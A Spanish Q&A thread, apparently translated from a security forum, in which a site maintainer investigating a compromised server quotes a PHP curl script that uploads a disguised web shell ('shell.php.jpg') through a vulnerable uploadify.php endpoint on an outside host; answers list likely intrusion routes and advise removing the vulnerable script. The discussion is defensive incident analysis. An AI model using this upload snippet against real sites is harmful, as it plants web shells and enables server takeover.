¿Cómo puede alguien cargar un archivo PHP a un servidor sin un formulario de carga?

6

Se me confió un sitio web existente para el que debería hacer algunos cambios en la parte de diseño, pero cuando estaba a punto de acceder a él, he visto que se ha comprometido. Cuando estaba buscando el problema, encontré un archivo PHP de vulnerabilidad que contiene este código:

$uploadfile="shell.php.jpg";

$ch = curl_init("http://macwallpaper.net/wp-content/themes/echea/js/uploadify/uploadify.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile"));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

Puedo averiguar qué está haciendo este script, pero no tengo idea de cómo el atacante logró subirlo al servidor. La única forma que tenía el sitio web era un formulario de contacto, y era solo la parte HTML sin la función de correo. Además, he encontrado 4 archivos PHP más diseñados como shells, con mucho código dentro, por lo que no lo publicaré aquí.

¿Hay alguna forma de implementar dichos paquetes sin cargar un formulario, en realidad sin un formulario?

EDITAR: El sitio web tiene una base de datos, pero no hay otra plataforma de control como un portal de administración o una zona de cliente (no hay acceso directo a la base de datos), tiene un ftp, pero no tengo otra información con respecto a ssh / scp, etc.

    
pregunta Jason 02.06.2016 - 09:26
fuente

2 respuestas

6

Hay muchas maneras. A juzgar por las características principales de su sitio web, un atacante podría haber utilizado:

  • Inyección de SQL : no es necesario tener acceso directo a la base de datos. Si desea detalles técnicos, esta pregunta y sus respuestas explican diferentes maneras de obtener un shell de una inyección SQL ;

  • robo de credenciales : el atacante podría haber robado o obtenido sus credenciales de FTP. Esto puede suceder a través de ataques de fuerza bruta, pero como el FTP estándar no está cifrado y la contraseña se transmite en texto claro, un atacante también podría haber olfateado la conexión (por ejemplo, si estaba usando una red Wi-Fi pública), obtuvo la contraseña y lo usé para subir estos archivos;

  • inclusión de archivos (LFI / RFI) : si el sitio web no está diseñado de manera cuidadosa, un atacante podría cargar cualquier archivo PHP incluso sin ningún formulario, base de datos o credencial robada. Para obtener más información: enlace y enlace ;

  • malware en su computadora : es posible que un atacante infecte la computadora que usa para acceder al sitio web con malware, que a su vez podría usarse para cargar archivos PHP en el sitio web como si lo hicieras Ya deberías saber que hay varias formas de infectar tu computadora con malware, pero voy a resaltar una. Spear phishing ;

  • muchas otras maneras . Le sugiero que eche un vistazo a enlace . Contiene mucha información sobre la seguridad de las aplicaciones web, incluido cómo realizar revisiones de código, cómo probar vulnerabilidades comunes en su sitio web y cómo defenderlo de la mayoría de los ataques.

respondido por el A. Darwin 02.06.2016 - 10:44
fuente
2

Busque uploadify en enlace y notará que JS-Script forma parte de su tema y es vulnerable a la carga arbitraria de archivos. Vulnerabilidad.

Podría eliminar esa secuencia de comandos y su tema podría seguir funcionando o, mejor aún, utilizar otro tema más seguro.

    
respondido por el user112287 02.06.2016 - 10:53
fuente

Lea otras preguntas en las etiquetas